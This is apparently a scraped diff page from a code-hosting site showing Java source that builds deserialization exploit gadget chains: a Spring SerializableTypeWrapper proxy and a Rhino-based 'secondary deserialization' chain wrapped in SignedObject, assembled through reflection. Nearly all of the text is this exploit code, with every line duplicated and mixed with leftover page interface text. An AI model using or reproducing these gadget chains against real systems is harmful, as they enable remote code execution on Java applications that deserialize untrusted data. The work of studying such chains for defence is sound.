Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||||
|
|
||||||
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
|
||||||
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
|
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
|
||||||
setFieldValue(mitp, "methodName", "getObject");
|
setFieldValue(mitp, "methodName", "getObject");
|
||||||
return mitp;
|
return mitp;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Rhino 二次反序列化
|
// Rhino 二次反序列化
|
||||||
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
|
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
|
||||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||||
ScriptableObject dummyScope = new Environment();
|
ScriptableObject dummyScope = new Environment();
|
||||||
Map<Object, Object> associatedValues = new Hashtable<>();
|
Map<Object, Object> associatedValues = new Hashtable<>();
|
||||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||||
setFieldValue(dummyScope, "associatedValues", associatedValues);
|
setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||||
Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")});
|
Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")});
|
||||||
ScriptableObject initContextScriptableObject = new Environment();
|
ScriptableObject initContextScriptableObject = new Environment();
|
||||||
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
|
||||||
Reflections.setAccessible(makeSlot);
|
Reflections.setAccessible(makeSlot);
|
||||||
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
|
||||||
setFieldValue(slot, "getter", initContextMemberBox);
|
setFieldValue(slot, "getter", initContextMemberBox);
|
||||||
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
|
||||||
setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
|
||||||
setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
setFieldValue(initContextNativeJavaObject, "isAdapter", true);
|
||||||
setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||||
setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
|
||||||
ScriptableObject scriptableObject = new Environment();
|
ScriptableObject scriptableObject = new Environment();
|
||||||
scriptableObject.setParentScope(initContextNativeJavaObject);
|
scriptableObject.setParentScope(initContextNativeJavaObject);
|
||||||
makeSlot.invoke(scriptableObject, "object", 0, 2);
|
makeSlot.invoke(scriptableObject, "object", 0, 2);
|
||||||
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
|
||||||
setFieldValue(nativeJavaArray, "parent", dummyScope);
|
setFieldValue(nativeJavaArray, "parent", dummyScope);
|
||||||
setFieldValue(nativeJavaArray, "javaObject", obj);
|
setFieldValue(nativeJavaArray, "javaObject", obj);
|
||||||
nativeJavaArray.setPrototype(scriptableObject);
|
nativeJavaArray.setPrototype(scriptableObject);
|
||||||
setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
setFieldValue(nativeJavaArray, "prototype", scriptableObject);
|
||||||
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
NativeJavaObject nativeJavaObject = new NativeJavaObject();
|
||||||
setFieldValue(nativeJavaObject, "parent", dummyScope);
|
setFieldValue(nativeJavaObject, "parent", dummyScope);
|
||||||
setFieldValue(nativeJavaObject, "isAdapter", true);
|
setFieldValue(nativeJavaObject, "isAdapter", true);
|
||||||
setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
|
||||||
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
|
||||||
setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
|
||||||
|
|
||||||
return nativeJavaObject;
|
return nativeJavaObject;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user